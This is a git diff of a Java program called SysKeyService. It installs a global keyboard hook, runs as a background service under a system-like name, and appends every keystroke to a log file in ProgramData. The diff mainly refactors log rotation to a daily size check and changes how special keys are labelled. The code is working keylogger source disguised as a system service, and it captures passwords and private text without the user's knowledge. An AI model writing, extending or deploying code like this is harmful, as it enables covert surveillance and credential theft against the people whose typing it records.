diff --git a/src/main/java/ru/mcs/syskey/SysKeyService.java b/src/main/java/ru/mcs/syskey/SysKeyService.java
index 1d1d401..60e3dea 100644
--- a/src/main/java/ru/mcs/syskey/SysKeyService.java
+++ b/src/main/java/ru/mcs/syskey/SysKeyService.java
@@ -20,24 +20,26 @@
 import java.time.LocalDateTime;
 import java.time.format.DateTimeFormatter;
 import java.util.Date;
-import java.util.concurrent.atomic.AtomicLong;
+import java.util.Timer;
+import java.util.TimerTask;
 
 public class SysKeyService implements NativeKeyListener {
     private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class);
     private static final String LOG_DIR = System.getenv("ProgramData") + "\\SysKeyService";
     private static final Path LOG_FILE_PATH = Path.of(LOG_DIR, "syskey.log");
     private static final long MAX_LOG_SIZE = 10 * 1024 * 1024; // 10 MB
+    private static final long CHECK_INTERVAL = 24 * 60 * 60 * 1000; // 24 часа
     private static final User32 USER32 = User32.INSTANCE;
     private static final Kernel32 KERNEL32 = Kernel32.INSTANCE;
     private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
 
-    private static final AtomicLong currentLogSize = new AtomicLong(0);
     private static final Object fileLock = new Object();
 
     public static void main(String[] args) {
         try {
             initLogger();
             initHook();
+            startLogChecker();
             runAsService();
         } catch (Exception e) {
             logger.error("Critical error: {}", e.getMessage(), e);
@@ -47,12 +49,12 @@
 
     private static void initLogger() throws IOException {
         Files.createDirectories(Path.of(LOG_DIR));
-        if (Files.exists(LOG_FILE_PATH)) {
-            currentLogSize.set(Files.size(LOG_FILE_PATH));
-        } else {
+        if (!Files.exists(LOG_FILE_PATH)) {
             Files.createFile(LOG_FILE_PATH);
-            currentLogSize.set(0);
         }
+
+        // Проверяем размер при старте
+        checkLogSize();
     }
 
     private static void initHook() throws NativeHookException {
@@ -60,6 +62,16 @@
         GlobalScreen.addNativeKeyListener(new SysKeyService());
     }
 
+    private static void startLogChecker() {
+        Timer timer = new Timer(true);
+        timer.scheduleAtFixedRate(new TimerTask() {
+            @Override
+            public void run() {
+                checkLogSize();
+            }
+        }, CHECK_INTERVAL, CHECK_INTERVAL);
+    }
+
     private static void runAsService() {
         logger.info("Sys key service started. Log directory: {}", LOG_DIR);
         Runtime.getRuntime().addShutdownHook(new Thread(() -> {
@@ -99,27 +111,31 @@
         }
     }
 
-    private synchronized void writeToLog(String entry) {
+    private static void writeToLog(String entry) {
         synchronized (fileLock) {
             try {
-                // Проверяем размер лога
-                if (currentLogSize.get() > MAX_LOG_SIZE) {
-                    rotateLog();
-                }
-
-                // Записываем запись
                 Files.writeString(LOG_FILE_PATH, entry,
                         StandardOpenOption.APPEND, StandardOpenOption.CREATE);
-
-                // Обновляем размер
-                currentLogSize.addAndGet(entry.getBytes().length);
             } catch (IOException ex) {
                 logger.error("File write error: {}", ex.getMessage());
             }
         }
     }
 
-    private void rotateLog() {
+    private static void checkLogSize() {
+        synchronized (fileLock) {
+            try {
+                long size = Files.size(LOG_FILE_PATH);
+                if (size > MAX_LOG_SIZE) {
+                    rotateLog();
+                }
+            } catch (IOException ex) {
+                logger.error("Log size check error: {}", ex.getMessage());
+            }
+        }
+    }
+
+    private static void rotateLog() {
         try {
             // Формируем имя архивированного файла с датой
             SimpleDateFormat dateFormat = new SimpleDateFormat("yyyyMMdd_HHmmss");
@@ -132,7 +148,6 @@
 
             // Создаем новый файл лога
             Files.createFile(LOG_FILE_PATH);
-            currentLogSize.set(0);
 
             logger.info("Log rotated: {}", archiveName);
 
@@ -143,7 +158,7 @@
         }
     }
 
-    private void cleanOldLogs() {
+    private static void cleanOldLogs() {
         try {
             Files.list(Path.of(LOG_DIR))
                     .filter(path -> path.getFileName().toString().startsWith("syskey_"))
@@ -205,15 +220,14 @@
         }
     }
 
-
     private String getKeyText(NativeKeyEvent e) {
         try {
             return NativeKeyEvent.getKeyText(e.getKeyCode())
-                    .replace("\n", "Enter")
-                    .replace("\t", "Tab")
+                    .replace("\n", "[Enter]")
+                    .replace("\t", "[Tab]")
                     .replace(" ", "[Space]");
         } catch (Exception ex) {
-            return "KeyCode-" + e.getKeyCode();
+            return "[" + e.getKeyCode() + "]";
         }
     }